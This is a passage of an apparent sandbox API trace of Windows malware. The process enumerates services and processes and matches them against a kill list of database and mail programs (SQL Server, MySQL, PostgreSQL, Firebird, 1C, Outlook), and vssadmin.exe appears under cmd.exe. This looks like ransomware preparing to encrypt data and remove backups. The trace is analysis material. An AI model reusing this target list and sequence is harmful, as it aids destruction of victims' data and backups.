(lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0062.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0062.422] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.422] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.422] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.422] lstrlenW (lpString="Winmgmt") returned 7 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.423] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.423] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.423] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.423] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0062.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c [0062.425] Process32FirstW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.425] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.426] lstrlenW (lpString="System") returned 6 [0062.426] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.426] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.426] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.426] lstrlenW (lpString="smss.exe") returned 8 [0062.427] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.427] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.427] lstrlenW (lpString="csrss.exe") returned 9 [0062.427] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.427] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.427] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.427] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.428] lstrlenW (lpString="wininit.exe") returned 11 [0062.428] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.428] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.428] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.428] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.429] lstrlenW (lpString="csrss.exe") returned 9 [0062.429] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.429] lstrlenW (lpString="winlogon.exe") returned 12 [0062.429] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.430] lstrlenW (lpString="services.exe") returned 12 [0062.430] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.430] lstrlenW (lpString="lsass.exe") returned 9 [0062.430] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.431] lstrlenW (lpString="lsm.exe") returned 7 [0062.431] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.431] lstrlenW (lpString="svchost.exe") returned 11 [0062.431] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.432] lstrlenW (lpString="svchost.exe") returned 11 [0062.432] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.432] lstrlenW (lpString="svchost.exe") returned 11 [0062.433] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.433] lstrlenW (lpString="svchost.exe") returned 11 [0062.433] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.434] lstrlenW (lpString="svchost.exe") returned 11 [0062.434] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.434] lstrlenW (lpString="audiodg.exe") returned 11 [0062.434] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.435] lstrlenW (lpString="svchost.exe") returned 11 [0062.435] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.435] lstrlenW (lpString="svchost.exe") returned 11 [0062.435] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.436] lstrlenW (lpString="dwm.exe") returned 7 [0062.436] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.436] lstrlenW (lpString="explorer.exe") returned 12 [0062.436] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.436] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.437] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.437] lstrlenW (lpString="taskhost.exe") returned 12 [0062.437] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.437] lstrlenW (lpString="svchost.exe") returned 11 [0062.438] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.438] lstrlenW (lpString="taskeng.exe") returned 11 [0062.438] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.438] lstrlenW (lpString="taskhost.exe") returned 12 [0062.439] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0062.439] lstrlenW (lpString="br_maintaining.exe") returned 18 [0062.439] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0062.440] lstrlenW (lpString="kitsenormous.exe") returned 16 [0062.440] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0062.440] lstrlenW (lpString="intermediate-components.exe") returned 27 [0062.440] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0062.440] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0062.441] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0062.441] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0062.441] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0062.441] lstrlenW (lpString="stupid.exe") returned 10 [0062.441] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0062.442] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0062.442] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0062.442] lstrlenW (lpString="addition.exe") returned 12 [0062.442] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0062.443] lstrlenW (lpString="kept retirement.exe") returned 19 [0062.443] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0062.444] lstrlenW (lpString="lmmold.exe") returned 10 [0062.444] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0062.444] lstrlenW (lpString="soma weighted.exe") returned 17 [0062.444] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0062.445] lstrlenW (lpString="cartridge donation.exe") returned 22 [0062.445] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0062.445] lstrlenW (lpString="anti.exe") returned 8 [0062.445] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0062.446] lstrlenW (lpString="cashiersshot.exe") returned 16 [0062.446] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0062.446] lstrlenW (lpString="poundfi.exe") returned 11 [0062.446] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0062.446] lstrlenW (lpString="conditions_hired.exe") returned 20 [0062.447] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0062.447] lstrlenW (lpString="mercedes.exe") returned 12 [0062.447] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0063.041] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0063.041] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0063.041] lstrlenW (lpString="training_wiring.exe") returned 19 [0063.041] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0063.042] lstrlenW (lpString="democratic.exe") returned 14 [0063.042] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0063.042] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0063.042] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0063.043] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0063.043] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0063.043] lstrlenW (lpString="documented.exe") returned 14 [0063.043] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.044] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0063.044] lstrlenW (lpString="n.exe") returned 5 [0063.044] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.045] lstrlenW (lpString="cmd.exe") returned 7 [0063.045] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.045] lstrlenW (lpString="conhost.exe") returned 11 [0063.045] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.046] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.046] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.046] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.046] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.047] lstrlenW (lpString="svchost.exe") returned 11 [0063.047] Process32NextW (in: hSnapshot=0x22c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0063.047] CloseHandle (hObject=0x22c) returned 1 [0063.047] Sleep (dwMilliseconds=0x1f4) [0063.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740060 [0063.674] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0063.675] GetLastError () returned 0xea [0063.675] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0063.675] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, 